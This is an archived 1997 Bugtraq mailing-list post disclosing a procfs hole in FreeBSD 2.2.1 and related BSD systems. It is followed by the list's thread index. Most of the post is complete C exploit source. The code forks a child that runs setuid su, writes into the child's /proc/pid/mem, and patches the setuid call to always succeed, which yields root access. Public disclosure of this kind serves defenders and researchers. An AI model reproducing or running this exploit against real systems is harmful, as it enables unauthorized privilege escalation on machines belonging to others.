Bugtraq mailing list archives
procfs hole
From: brian () FIREHOUSE NET (Brian Mitchell)
Date: Sun, 10 Aug 1997 05:37:40 -0400
There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, I have not tested 3.x but I believe it to be vulnerable as well) along with OpenBSD (not tested by me, but by someone else -- believe it was 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd does). The problem is all proc/#/mem access is controlled by the permissions on the file. This means you can fork() open the childs mem device and then have the child execute a setuid executable. Once this is done, you can modify the setuid executables memory -- even segments that are supposed to be nonwritable can be modified. Enclosed is a simple exploit tested under FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory for a specific signature. Oh, you need to change your shell to a borneish shell too, since csh/tcsh will not work when euid != ruid (unless passed a -b script argument). BSDI is also believed to be vulnerable. Unfortunately, not only is procfs not mounted, it is not even in the GENERIC kernel. #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <string.h> u_char search_code[13] = { 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ /* just do a xor %eax, %eax and then a ret */ u_char new_code[] = { 0x31, 0xc0, 0xc3}; main(int argc, char **argv) { int pid; int fd; char buff[40]; char *user; /* might need to tweak these */ u_int offset=0x8003000; u_int offset_end = 0x8099000; if(argc < 2) { fprintf(stderr, "%s user\n", argv[0]); exit(1); } printf("Demonstration of 4.4BSD procfs hole\n"); printf("Brian Mitchell <brian () firehouse net>\n\n"); printf("after you see \"setuid changed\", enter the pw for the user\n"); printf("\aBe warned, searching for the setuid() function takes a long time!\n"); user=argv[1]; pid = fork(); switch(pid) { case -1: perror("fork"); exit(1); case 0: /* give parent time to open /proc/pid/mem */ sleep(3); execl("/usr/bin/su", "su", user, NULL); exit(0); default: sprintf(buff, "/proc/%d/mem", pid); fd = open(buff, O_RDWR); if(fd < 0) { perror("open procmem"); wait(NULL); exit(1); } /* wait for child to execute suid program */ sleep(6); /* stop the child */ kill(pid, 17); printf("searching - please be patient...\n"); /* search for the setuid code */ while(offset != offset_end) { lseek(fd, offset, SEEK_SET); read(fd, buff, 13); if(!bcmp(buff, search_code, 13)) { lseek(fd, offset, SEEK_SET); write(fd, new_code, 3); printf("setuid changed (0x%x)\n", offset); /* sigcont child */ kill(pid, 19); wait(NULL); exit(0); } offset++; } printf("setuid not found!!\n"); kill(pid, 9); wait(NULL); exit(1); } } Brian Mitchell brian () firehouse net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt (OpenBSD President)
Current thread:
- Sun Security Bulletin #00150, (continued)
- Sun Security Bulletin #00150 Aleph One (Aug 13)
- Possible fixed identd Phillip R. Jaenke (Aug 13)
- CERT Advisory CA-97.22 - BIND - the Berkeley Internet Name Daemon Aleph One (Aug 14)
- Vulnerability in 4.4BSD rfork() implementation Thomas H. Ptacek (Aug 02)
- Linux clone() looks safe (Re: Vulnerability in 4.4BSD rfork() Jeff Epler (Aug 02)
- Re: Linux clone() looks safe (Re: Vulnerability in 4.4BSD rfork() Marc Slemko (Aug 03)
- Re: sendmail -C: Known? Patches? (AIX 4.1.5) Eric Allman (Aug 06)
- Re: sendmail -C: Known? Patches? (AIX 4.1.5) Eric Allman (Aug 07)
- Re: sendmail -C: Known? Patches? (AIX 4.1.5) Gene Spafford (Aug 09)
- Re: sendmail -C: Known? Patches? (AIX 4.1.5) Troy Bollinger (Aug 10)
- procfs hole Brian Mitchell (Aug 10)
- Re: procfs hole Jonathan A. Zdziarski (Aug 10)
- Re: procfs hole Brian Mitchell (Aug 10)
- Program To decrypt password in ws_ftp.ini JeBe (Aug 10)